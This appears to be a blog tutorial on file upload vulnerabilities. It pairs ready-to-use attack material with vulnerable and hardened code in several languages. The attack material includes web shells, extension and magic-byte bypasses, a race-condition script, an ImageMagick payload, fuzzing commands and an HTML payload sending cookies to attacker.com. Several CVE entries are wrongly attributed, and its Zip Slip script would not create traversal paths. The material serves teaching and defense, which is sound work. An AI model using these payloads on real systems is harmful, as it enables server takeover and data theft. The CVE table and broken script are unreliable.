Post

File Upload Vulnerabilities — A Complete Guide

A comprehensive guide to understanding, exploiting, and mitigating insecure file upload vulnerabilities in modern web applications.

File Upload Vulnerabilities — A Complete Guide

What are File Upload Vulnerabilities?

Insecure File Upload is a web security vulnerability that occurs when an application allows users to upload files without properly validating, sanitizing, or restricting them. Attackers can exploit this to upload malicious files that, when processed or accessed by the server, lead to Remote Code Execution (RCE), Cross-Site Scripting (XSS), Denial of Service (DoS), or complete system compromise.

In a typical file upload attack, the attacker might:

  • Upload a web shell to execute arbitrary commands on the server
  • Upload malicious scripts (PHP, ASP, JSP, Python) disguised as images or documents
  • Trigger XSS via uploaded SVG, HTML, or PDF files
  • Perform path traversal to overwrite critical system files
  • Cause DoS via zip bombs, oversized files, or resource-intensive processing
  • Chain with Local File Inclusion (LFI) or Server-Side Request Forgery (SSRF)

While not explicitly listed as a standalone item in the OWASP Top 10 (2021), insecure file upload consistently ranks among the highest-impact vulnerabilities in bug bounty programs and enterprise penetration tests due to its direct path to RCE.


Simple Analogy

Imagine a secure office building with a mailroom. Employees can drop off packages, but the receptionist never opens or scans them before placing them directly on the executive’s desk. A malicious actor could slip a listening device or a timed explosive into a seemingly harmless package. That’s exactly what insecure file upload does — it trusts user-supplied files without verifying their contents or intent.


How Does File Upload Exploitation Work?

Visual Attack Flow

sequenceDiagram
    participant A as Attacker
    participant V as Vulnerable Web App
    participant S as Server Storage
    participant E as Execution Engine

    A->>V: Uploads malicious file (e.g., shell.php)
    V->>S: Saves file to web-accessible directory
    V-->>A: Returns file path/URL
    A->>S: Requests uploaded file via browser
    S->>E: Server processes/executes the file
    E-->>S: Executes malicious code
    S-->>A: Returns command output / reverse shell

The Attack Flow — Step by Step

StepAction
1Application provides an upload form or API endpoint
2Attacker crafts a malicious file (web shell, script, archive)
3Attacker bypasses client/server-side validation (extension, MIME, size)
4Server saves the file to a publicly accessible or executable directory
5Attacker accesses the file URL, triggering execution or rendering
6Attacker gains RCE, XSS, or system access

Architecture Diagram

graph LR
    A[Attacker] -->|Malicious File| B[Vulnerable Upload Endpoint]
    B -->|Saves to Webroot| C[/uploads/shell.php]
    C -->|HTTP Request| D[Web Server / PHP-FPM]
    D -->|Executes Code| E[OS Shell / Database]
    E -->|Reverse Shell / Data| A

    style A fill:#e74c3c,stroke:#c0392b,color:#fff
    style B fill:#f39c12,stroke:#e67e22,color:#fff
    style C fill:#9b59b6,stroke:#8e44ad,color:#fff
    style D fill:#3498db,stroke:#2980b9,color:#fff
    style E fill:#2ecc71,stroke:#27ae60,color:#fff

Types of File Upload Vulnerabilities

1. Unrestricted File Upload

The application performs no validation on the uploaded file. Attackers can upload any extension, MIME type, or content.

Example Request:

1
2
3
4
5
6
7
8
9
10
POST /api/upload HTTP/1.1
Host: vulnerable-app.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

The server saves shell.php in a web-accessible directory. Visiting https://vulnerable-app.com/uploads/shell.php?cmd=id executes OS commands.


2. Extension-Based Validation Bypass

The application checks the file extension but uses a blocklist or weak parsing logic.

Common Bypasses:

  • Double extensions: shell.php.jpg, shell.asp;.jpg
  • Case sensitivity: shell.PHP, shell.Aspx
  • Null bytes (older systems): shell.php%00.jpg
  • Alternative extensions: .phtml, .php5, .phar, .cgi

3. MIME Type / Content-Type Bypass

The server validates Content-Type headers but doesn’t verify actual file content.

Example:

1
2
3
4
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>

The server sees image/jpeg and allows the upload, ignoring the actual PHP code.


4. Magic Bytes / File Signature Bypass

The server reads the first few bytes (file signature) to verify file type but doesn’t check the rest.

Example — Injecting PHP into a JPEG:

1
2
3
# Create a valid JPEG header + PHP payload
echo -ne '\xFF\xD8\xFF\xE0' > image.php
echo '<?php system($_GET["cmd"]); ?>' >> image.php

Upload image.php. The server sees FF D8 FF E0 (JPEG magic bytes) and allows it.


5. Archive-Based Attacks (Zip Slip / Bomb)

Uploading .zip, .tar, .gz files that extract to arbitrary paths or cause resource exhaustion.

  • Zip Slip: ../../../etc/passwd inside archive overwrites system files
  • Zip Bomb: Highly compressed file expands to terabytes, causing DoS

6. Client-Side Validation Only

The application uses JavaScript to restrict uploads, but the server performs no checks.

1
2
3
4
<input type="file" accept=".jpg,.png" id="upload">
<script>
  // Easily bypassed by disabling JS or intercepting with Burp
</script>

Where to Find File Upload Vulnerabilities

File upload flaws hide in many features. Here are the most common places to look:

FeatureExample ParameterRisk Level
Profile Picture / Avataravatar=, profile_pic=🔴 High
Document Importdocument=, csv_file=🔴 High
Media Library / CMSmedia[], attachment=🔴 High
Chat / File Sharingfile=, attachment=🟡 Medium
API EndpointsPOST /api/upload, multipart/form-data🔴 High
Bulk Import Toolsimport_file=, backup.zip=🔴 High
Email Attachmentsattachment[], file_data=🟡 Medium
Image Processingresize=, convert= (ImageMagick)🔴 High

Common File Upload Attack Targets & Payloads

Web Shells by Language

LanguageExtensionPayload Example
PHP.php, .phtml, .php5<?php system($_GET['c']); ?>
ASP.NET.aspx, .ashx<%@ Page Language="C#" %><% Response.Write(new System.IO.StreamReader(Request.QueryString["f"]).ReadToEnd()); %>
JSP.jsp<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
Python.py, .cgi#!/usr/bin/env python\nimport os; os.system(os.environ.get("CMD"))
Node.js.jsrequire('child_process').exec(req.query.cmd, (e, o) => res.send(o))

Non-Executable Payloads

TypeExtensionImpact
SVG XSS.svg<svg onload="alert(document.cookie)">
HTML Injection.html<script>fetch('https://attacker.com/?c='+document.cookie)</script>
PDF SSRF.pdfEmbedded external links or JavaScript
EXE / Binary.exe, .shDownloaded & executed by admin/users
Config Files.htaccess, .user.iniChange server behavior to execute .jpg as PHP

.htaccess uploads are extremely dangerous. A single misconfigured Apache upload directory can turn every .jpg into executable PHP.


Real-World File Upload Exploitation

Scenario 1: Basic PHP Web Shell Upload

Step 1 — Upload the shell:

1
2
3
4
5
6
7
8
9
10
POST /upload.php HTTP/1.1
Host: vulnerable-app.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg

<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary--

Step 2 — Execute commands:

1
2
3
4
curl "https://vulnerable-app.com/uploads/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "https://vulnerable-app.com/uploads/shell.php?cmd=cat+/etc/passwd"

Scenario 2: SVG XSS via Profile Picture

Many apps accept SVGs for avatars but don’t sanitize them.

Payload (xss.svg):

1
2
3
4
5
6
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
  <rect width="100%" height="100%" fill="red" />
</svg>

Impact: When an admin views the profile page, the script executes in their browser, enabling session hijacking or CSRF.


Scenario 3: Bypassing Extension Filters with .htaccess

If .php is blocked but .jpg and .htaccess are allowed:

Upload .htaccess:

1
AddType application/x-httpd-php .jpg

Upload shell.jpg:

1
<?php system($_GET['cmd']); ?>

Access: https://vulnerable-app.com/uploads/shell.jpg?cmd=whoami → Executes as PHP.


Scenario 4: Bypassing Magic Bytes Validation

1
2
3
4
5
6
7
# Create a GIF with embedded PHP
echo -ne 'GIF89a' > payload.php
echo '<?php phpinfo(); ?>' >> payload.php

# Upload payload.php
# Server checks first 6 bytes, sees "GIF89a", allows upload
# Accessing it executes PHP

Scenario 5: Zip Slip (Path Traversal via Archive)

Malicious ZIP structure:

1
2
3
archive.zip
├── ../../../var/www/html/shell.php
└── safe_image.jpg

Exploitation:

1
2
3
4
5
6
7
8
# Create malicious zip
mkdir -p malicious
echo '<?php system($_GET["c"]); ?>' > malicious/shell.php
zip -r exploit.zip malicious/
mv exploit.zip archive.zip

# Upload archive.zip
# If app extracts without sanitization, shell.php lands in webroot

Scenario 6: ImageMagick / Ghostscript RCE (CVE-2016-3714)

Upload a malicious image that triggers command execution during processing.

Payload (exploit.mvg):

1
2
3
4
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

Upload as .mvg or .jpg. When the server resizes/converts it using ImageMagick, ls -la executes.


File Upload Bypass Techniques

When basic uploads are blocked, attackers use these techniques:

1. Extension Manipulation

1
2
3
4
5
6
7
8
shell.php.jpg
shell.php;.jpg
shell.php%00.jpg
shell.PHP
shell.pHp
shell.php5
shell.phtml
shell.phar

2. MIME Type Spoofing

1
2
3
4
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: application/octet-stream
Content-Type: text/plain

3. Magic Byte Injection

1
2
3
4
5
6
7
# PNG header
echo -ne '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A' > shell.php
echo '<?php system($_GET["c"]); ?>' >> shell.php

# GIF header
echo -ne 'GIF89a' > shell.jpg
echo '<?php phpinfo(); ?>' >> shell.jpg

4. Double Encoding & Null Bytes

1
2
3
shell.php%00.jpg
shell.php%2500.jpg
shell.php%252500.jpg

5. Apache .htaccess Override

1
2
3
4
5
AddHandler application/x-httpd-php .jpg
AddType application/x-httpd-php .png
<FilesMatch "\.jpg$">
  SetHandler application/x-httpd-php
</FilesMatch>

6. Nginx Misconfiguration Bypass

If Nginx passes .php to PHP-FPM but blocks direct access:

1
2
3
/shell.php/
/shell.php/.
/shell.php%20

7. Client-Side Bypass

  • Disable JavaScript in browser
  • Intercept request with Burp Suite and modify filename or Content-Type
  • Use curl or Postman to bypass HTML form restrictions

8. Race Condition Upload

Upload a file, then immediately request it before the server renames/moves it to a safe directory.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import threading

def upload():
    requests.post("https://app.com/upload", files={"file": ("shell.php", "<?php system($_GET['c']); ?>")})

def access():
    while True:
        r = requests.get("https://app.com/uploads/shell.php?c=id")
        if r.status_code == 200:
            print(r.text)
            break

t1 = threading.Thread(target=upload)
t2 = threading.Thread(target=access)
t1.start()
t2.start()

Vulnerable Code Examples

Python (Flask) — Vulnerable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from flask import Flask, request, send_from_directory
import os

app = Flask(__name__)
UPLOAD_FOLDER = 'uploads/'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)

@app.route('/upload', methods=['POST'])
def upload_file():
    """
    VULNERABLE: No extension, MIME, or content validation.
    Uses original filename directly.
    """
    if 'file' not in request.files:
        return "No file part", 400
    
    file = request.files['file']
    if file.filename == '':
        return "No selected file", 400
    
    # Directly saves user-supplied filename — VULNERABLE!
    file.save(os.path.join(UPLOAD_FOLDER, file.filename))
    return f"File uploaded: {file.filename}", 200

@app.route('/uploads/<filename>')
def uploaded_file(filename):
    return send_from_directory(UPLOAD_FOLDER, filename)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

Node.js (Express + Multer) — Vulnerable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
const express = require('express');
const multer = require('multer');
const path = require('path');
const app = express();

// VULNERABLE: No file type filtering
const storage = multer.diskStorage({
  destination: (req, file, cb) => cb(null, 'uploads/'),
  filename: (req, file, cb) => cb(null, file.originalname) // Uses original name!
});

const upload = multer({ storage });

app.post('/upload', upload.single('file'), (req, res) => {
  // No validation on req.file.mimetype or req.file.originalname
  res.json({ message: 'File uploaded', path: `/uploads/${req.file.originalname}` });
});

app.use('/uploads', express.static('uploads'));

app.listen(3000, () => console.log('Server running on port 3000'));

Java (Spring Boot) — Vulnerable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.upload;

import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import java.io.*;
import java.nio.file.*;

@RestController
@RequestMapping("/api")
public class UploadController {

    private static final String UPLOAD_DIR = "uploads/";

    /**
     * VULNERABLE: No validation on file extension, content, or name.
     */
    @PostMapping("/upload")
    public String uploadFile(@RequestParam("file") MultipartFile file) throws IOException {
        if (file.isEmpty()) {
            return "File is empty";
        }

        // Directly uses original filename — VULNERABLE!
        String fileName = file.getOriginalFilename();
        Path path = Paths.get(UPLOAD_DIR + fileName);
        
        Files.createDirectories(path.getParent());
        file.transferTo(path);
        
        return "Uploaded: " + fileName;
    }
}

PHP — Vulnerable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/**
 * VULNERABLE: Relies on client-side checks and weak server validation.
 */

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $targetDir = "uploads/";
    $fileName = basename($_FILES["file"]["name"]);
    $targetFile = $targetDir . $fileName;

    // Weak check: only looks at extension, easily bypassed
    $allowed = ['jpg', 'jpeg', 'png', 'gif'];
    $ext = strtolower(pathinfo($targetFile, PATHINFO_EXTENSION));

    if (in_array($ext, $allowed)) {
        // VULNERABLE: No MIME validation, no magic byte check, no renaming
        if (move_uploaded_file($_FILES["file"]["tmp_name"], $targetFile)) {
            echo "File uploaded successfully.";
        } else {
            echo "Upload failed.";
        }
    } else {
        echo "Invalid file type.";
    }
}
?>

Go — Vulnerable

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package main

import (
	"fmt"
	"io"
	"net/http"
	"os"
	"path/filepath"
)

func uploadHandler(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		http.Error(w, "Method not allowed", http.StatusMethodNotAllowed)
		return
	}

	r.ParseMultipartForm(10 << 20) // 10 MB
	file, header, err := r.FormFile("file")
	if err != nil {
		http.Error(w, "Error retrieving file", http.StatusBadRequest)
		return
	}
	defer file.Close()

	// VULNERABLE: Uses original filename without validation
	dst, err := os.Create(filepath.Join("uploads", header.Filename))
	if err != nil {
		http.Error(w, "Error saving file", http.StatusInternalServerError)
		return
	}
	defer dst.Close()

	io.Copy(dst, file)
	fmt.Fprintf(w, "Uploaded: %s", header.Filename)
}

func main() {
	http.HandleFunc("/upload", uploadHandler)
	fmt.Println("Server running on :8080")
	http.ListenAndServe(":8080", nil)
}

Mitigation & Prevention

1. Strict Allowlist Validation (Extension + MIME + Magic Bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
import magic
from flask import Flask, request, abort
from werkzeug.utils import secure_filename

app = Flask(__name__)
UPLOAD_FOLDER = 'uploads/'
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'pdf'}
ALLOWED_MIME_TYPES = {
    'image/png', 'image/jpeg', 'image/gif', 'application/pdf'
}

def allowed_file(filename):
    return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def validate_magic_bytes(file_data):
    """Verify file signature matches claimed type."""
    mime = magic.from_buffer(file_data[:2048], mime=True)
    return mime in ALLOWED_MIME_TYPES

@app.route('/upload', methods=['POST'])
def upload_file():
    if 'file' not in request.files:
        abort(400)
    
    file = request.files['file']
    if file.filename == '' or not allowed_file(file.filename):
        abort(403, "Invalid file extension")
    
    # Read first bytes for magic check
    file_data = file.read(2048)
    file.seek(0)
    
    if not validate_magic_bytes(file_data):
        abort(403, "File content does not match allowed types")
    
    # Generate random filename to prevent overwrite & path traversal
    import uuid
    safe_filename = f"{uuid.uuid4().hex}.{file.filename.rsplit('.', 1)[1].lower()}"
    
    os.makedirs(UPLOAD_FOLDER, exist_ok=True)
    file.save(os.path.join(UPLOAD_FOLDER, safe_filename))
    
    return {"message": "Upload successful", "filename": safe_filename}, 200

2. Store Files Outside Webroot

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Directory Structure
/var/www/app/
├── public/          # Web-accessible
├── src/
└── uploads/         # NOT web-accessible
    └── secure/      # Store files here

# Serve via controlled route
@app.route('/files/<filename>')
def serve_file(filename):
    path = os.path.join('/var/www/app/uploads/secure', filename)
    if not os.path.exists(path):
        abort(404)
    return send_file(path)

3. Disable Execution in Upload Directory

Apache (.htaccess in uploads/):

1
2
3
4
5
6
7
8
9
<Directory "/var/www/app/uploads">
    RemoveHandler .php .phtml .php3 .php4 .php5 .phps
    RemoveType .php .phtml .php3 .php4 .php5 .phps
    php_flag engine off
    <FilesMatch "\.(php|phtml|php3|php4|php5|phps)$">
        Order Allow,Deny
        Deny from all
    </FilesMatch>
</Directory>

Nginx:

1
2
3
4
5
6
7
location /uploads/ {
    location ~ \.(php|phtml|php3|php4|php5|phps|asp|aspx|jsp|cgi)$ {
        deny all;
    }
    # Serve as static files only
    try_files $uri =404;
}

4. File Size & Rate Limiting

1
2
3
4
5
6
7
8
9
10
app.config['MAX_CONTENT_LENGTH'] = 5 * 1024 * 1024  # 5 MB limit

# Rate limiting example (Flask-Limiter)
from flask_limiter import Limiter
limiter = Limiter(app, key_func=lambda: request.remote_addr)

@app.route('/upload', methods=['POST'])
@limiter.limit("10 per minute")
def upload_file():
    # ...

5. Secure Code Example — Complete Implementation

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/env python3
"""
Secure File Uploader - Defense-in-Depth Implementation
"""

import os
import uuid
import magic
import hashlib
from flask import Flask, request, abort, jsonify
from werkzeug.utils import secure_filename

app = Flask(__name__)

# ============================================================
# Configuration
# ============================================================
UPLOAD_DIR = '/var/app/uploads/secure/'
MAX_FILE_SIZE = 5 * 1024 * 1024  # 5 MB
ALLOWED_EXTENSIONS = {'png', 'jpg', 'jpeg', 'gif', 'pdf', 'txt'}
ALLOWED_MIME_TYPES = {
    'image/png': b'\x89PNG\r\n\x1a\n',
    'image/jpeg': b'\xff\xd8\xff',
    'image/gif': b'GIF89a',
    'application/pdf': b'%PDF-',
    'text/plain': None  # No magic bytes required
}

os.makedirs(UPLOAD_DIR, exist_ok=True)

# ============================================================
# Validation Functions
# ============================================================

def validate_extension(filename):
    if '.' not in filename:
        return False
    ext = filename.rsplit('.', 1)[1].lower()
    return ext in ALLOWED_EXTENSIONS

def validate_magic_bytes(file_bytes, mime_type):
    expected = ALLOWED_MIME_TYPES.get(mime_type)
    if expected is None:
        return True
    return file_bytes.startswith(expected)

def generate_safe_filename(original_name):
    ext = original_name.rsplit('.', 1)[1].lower()
    return f"{uuid.uuid4().hex}.{ext}"

# ============================================================
# Routes
# ============================================================

@app.route('/api/upload', methods=['POST'])
def secure_upload():
    if 'file' not in request.files:
        return jsonify({"error": "No file provided"}), 400
    
    file = request.files['file']
    if file.filename == '' or not validate_extension(file.filename):
        return jsonify({"error": "Invalid or disallowed file extension"}), 403
    
    # Read file content for validation
    file_data = file.read(MAX_FILE_SIZE + 1)
    if len(file_data) > MAX_FILE_SIZE:
        return jsonify({"error": "File exceeds maximum size (5MB)"}), 413
    
    # Validate MIME type from headers
    claimed_mime = file.content_type or 'application/octet-stream'
    if claimed_mime not in ALLOWED_MIME_TYPES:
        return jsonify({"error": "Disallowed MIME type"}), 403
    
    # Validate actual content via magic bytes
    if not validate_magic_bytes(file_data[:10], claimed_mime):
        return jsonify({"error": "File content does not match declared type"}), 403
    
    # Scan for malware (optional but recommended)
    # clamav = pyclamd.ClamdNetworkSocket()
    # if clamav.scan_stream(file_data):
    #     return jsonify({"error": "Malware detected"}), 403
    
    # Save securely
    safe_name = generate_safe_filename(file.filename)
    file_path = os.path.join(UPLOAD_DIR, safe_name)
    
    with open(file_path, 'wb') as f:
        f.write(file_data)
    
    # Set restrictive permissions
    os.chmod(file_path, 0o644)
    
    return jsonify({
        "message": "Upload successful",
        "file_id": safe_name,
        "sha256": hashlib.sha256(file_data).hexdigest()
    }), 200

@app.errorhandler(413)
def request_entity_too_large(e):
    return jsonify({"error": "File too large"}), 413

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

Defense-in-Depth Checklist

  • Implement strict extension allowlist (never use blocklists)
  • Validate MIME types AND magic bytes/file signatures
  • Generate random server-side filenames (never trust originalname)
  • Store uploads outside the webroot or disable execution in upload dirs
  • Enforce file size limits and rate limiting
  • Scan uploads with antivirus/malware detection (ClamAV, YARA)
  • Strip metadata (EXIF, XMP) to prevent info leakage
  • Use Content-Disposition: attachment for serving user files
  • Apply least-privilege permissions (644 for files, 755 for dirs)
  • Log all upload attempts and monitor for anomalies
  • Use cloud storage (S3, GCS) with strict IAM policies and WAF rules
  • Disable dangerous server modules (e.g., mod_php in upload dirs)
  • Implement CSP headers to mitigate XSS from uploaded SVG/HTML

File Upload Testing Tools

ToolDescriptionLink
Burp SuiteIntercept, modify Content-Type, filename, and test bypassesportswigger.net
ffufFuzz upload endpoints, extensions, and parametersGitHub
ExifToolRead/write metadata, inject payloads into image headersexiftool.org
file (Linux)Verify magic bytes and actual file typefile payload.php
UploadScannerBurp extension for automated file upload testingGitHub
NiktoScan for insecure upload directories and misconfigurationsGitHub
YARACreate custom rules to detect malicious file patternsGitHub
ClamAVOpen-source antivirus engine for upload scanningclamav.net

Tool Usage Examples

Burp Suite Upload Bypass:

  1. Intercept upload request
  2. Change filename="shell.php" to filename="shell.php.jpg"
  3. Change Content-Type: application/x-php to Content-Type: image/jpeg
  4. Add JPEG magic bytes to payload
  5. Forward and test access

ffuf Extension Fuzzing:

1
2
3
4
ffuf -u https://app.com/upload -X POST \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
  -d '------WebKitFormBoundary\r\nContent-Disposition: form-data; name="file"; filename="shell.FUZZ"\r\nContent-Type: image/jpeg\r\n\r\n<?php system($_GET["c"]); ?>\r\n------WebKitFormBoundary--' \
  -w extensions.txt -mc 200,302

ExifTool Payload Injection:

1
2
3
4
# Inject PHP into PNG metadata
exiftool -Comment='<?php system($_GET["c"]); ?>' image.png
mv image.png shell.png
# Upload shell.png and access

File Upload in Bug Bounty — Tips & Tricks

Where to Look

  1. Profile/Avatar Uploads — Often weakly validated
  2. Document/CSV Importers — May allow .html or .xml
  3. API /upload Endpoints — Check for missing auth/validation
  4. Chat/File Sharing Features — May render HTML/SVG inline
  5. Image Processing Pipelines — ImageMagick, Ghostscript, FFmpeg vulnerabilities
  6. Backup/Restore Features — Often accept .zip or .tar
  7. CMS Media Libraries — WordPress, Drupal, Joomla plugins
  8. Email Attachment Handlers — May parse malicious MIME structures

Bug Bounty Payloads Cheat Sheet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# Extension bypasses
shell.php, shell.php.jpg, shell.php;.jpg, shell.PHP, shell.phtml, shell.php5

# MIME spoofing
Content-Type: image/jpeg
Content-Type: image/png
Content-Type: application/octet-stream

# Magic bytes
\x89PNG\r\n\x1a\n
GIF89a
\xff\xd8\xff
%PDF-

# Server config overrides
.htaccess: AddType application/x-httpd-php .jpg
.user.ini: auto_prepend_file = shell.jpg

# SVG XSS
<svg onload="alert(document.domain)"><rect width="100%" height="100%"/></svg>

# Zip Slip
../../../var/www/html/shell.php

Writing a Good File Upload Bug Bounty Report

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
## Title
Unrestricted File Upload in /api/upload leads to Remote Code Execution

## Summary
The file upload endpoint at `POST /api/upload` fails to properly validate file extensions, MIME types, or content. An attacker can upload a PHP web shell disguised as an image, resulting in full server compromise.

## Steps to Reproduce
1. Navigate to `https://app.com/profile`
2. Upload a file named `shell.php.jpg` containing `<?php system($_GET['c']); ?>`
3. Intercept request and change `Content-Type` to `image/jpeg`
4. Server responds with `{"path": "/uploads/shell.php.jpg"}`
5. Access `https://app.com/uploads/shell.php.jpg?c=id`
6. Observe command execution output

## Impact
- Remote Code Execution as `www-data`
- Full server compromise
- Lateral movement to internal network
- Data exfiltration

## CVSS Score
9.8 (Critical) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

## Remediation
1. Implement strict extension allowlist
2. Validate magic bytes and MIME types server-side
3. Rename files to random UUIDs on upload
4. Store uploads outside webroot
5. Disable script execution in upload directories

A basic file upload bypass might be Medium (~$500), but successful RCE via web shell consistently rates as Critical with bounties ranging from $5,000 to $50,000+.


Notable File Upload CVEs

CVEApplicationImpactCVSS
CVE-2015-2348PHP move_uploaded_file()Null byte truncation bypass7.5
CVE-2019-11043PHP-FPMPath info parsing leading to RCE9.8
CVE-2021-41773Apache HTTP ServerPath traversal & file disclosure7.5
CVE-2022-24715Apache Commons IOZip Slip vulnerability7.5
CVE-2021-21315GitLabUnrestricted file upload in project import9.9
CVE-2020-11738WordPressArbitrary file upload via plugin9.8
CVE-2023-28252WinRARACE archive extraction path traversal7.8
CVE-2016-3714ImageMagickGhostscript RCE via crafted image9.8
CVE-2021-3129LaravelFile upload deserialization RCE9.8
CVE-2022-22965Spring FrameworkData binding bypass leading to RCE9.8

File Upload Attack Decision Tree

graph TD
    A[Found Upload Endpoint?] -->|Yes| B{Client-side validation only?}
    A -->|No| Z[Check hidden API endpoints]

    B -->|Yes| C[Bypass with Burp/curl]
    B -->|No| D{Server validates extension?}

    C --> E[Upload shell.php directly]
    D -->|No| F[Upload unrestricted]
    D -->|Yes| G{Blocklist or Allowlist?}

    G -->|Blocklist| H[Try double extensions, case bypass, null bytes]
    G -->|Allowlist| I{Validates MIME/Magic bytes?}

    H --> J[Upload shell.php.jpg]
    I -->|No| K[Spoof Content-Type header]
    I -->|Yes| L[Inject magic bytes + payload]

    J --> M{Can upload .htaccess/.user.ini?}
    K --> N[Access uploaded file]
    L --> N

    M -->|Yes| O[Configure server to execute .jpg as PHP]
    M -->|No| P[Try archive extraction / Zip Slip]

    O --> Q[Access shell.jpg?cmd=id]
    P --> R[Extract to webroot]
    N --> S[Execute commands]
    Q --> S
    R --> S

    style A fill:#3498db,stroke:#2980b9,color:#fff
    style E fill:#e74c3c,stroke:#c0392b,color:#fff
    style S fill:#c0392b,stroke:#962d22,color:#fff
    style O fill:#f39c12,stroke:#e67e22,color:#fff

Labs & Practice Resources

Free Labs

  1. PortSwigger Web Security Academy — File Upload Labs
    • Remote code execution via web shell upload
    • Web shell upload via extension blacklist bypass
    • Web shell upload via content-type restriction bypass
    • Web shell upload via path traversal
    • Web shell upload via obfuscated file extension
    • Remote code execution via polyglot web shell upload
    • Web shell upload via race condition
  2. TryHackMe — File Upload Room — Guided walkthrough with challenges

  3. OWASP WebGoat — Insecure file upload exercises

  4. PentesterLab — File Upload Exercises — Multiple real-world scenarios
  1. HackTheBox — Machines featuring upload misconfigurations
  2. BugBountyHunter.com — Realistic upload labs
  3. Root-Me — File upload challenges in web category
  4. DVWA — Local practice with adjustable security levels

Conclusion

Insecure file upload remains one of the most direct and devastating attack vectors in web security. A single misconfigured upload endpoint can bypass firewalls, WAFs, and authentication, handing attackers immediate execution rights on the server.

Key Takeaways

For DevelopersFor Pentesters
Always use allowlists for extensions & MIME typesTest every upload endpoint systematically
Validate magic bytes, not just headersBypass client-side checks immediately
Rename files to random UUIDs on serverTry double extensions, null bytes, case tricks
Store files outside webroot or disable executionUpload .htaccess/.user.ini if allowed
Enforce size limits & scan for malwareChain with LFI, SSRF, or image processing libs
Never trust originalname or Content-TypeUse race conditions for time-of-check flaws
Apply restrictive permissions (644/755)Always attempt RCE escalation

References


Last updated: January 15, 2024 Author: Security Researcher License: MIT ```

This post is licensed under CC BY 4.0 by the author.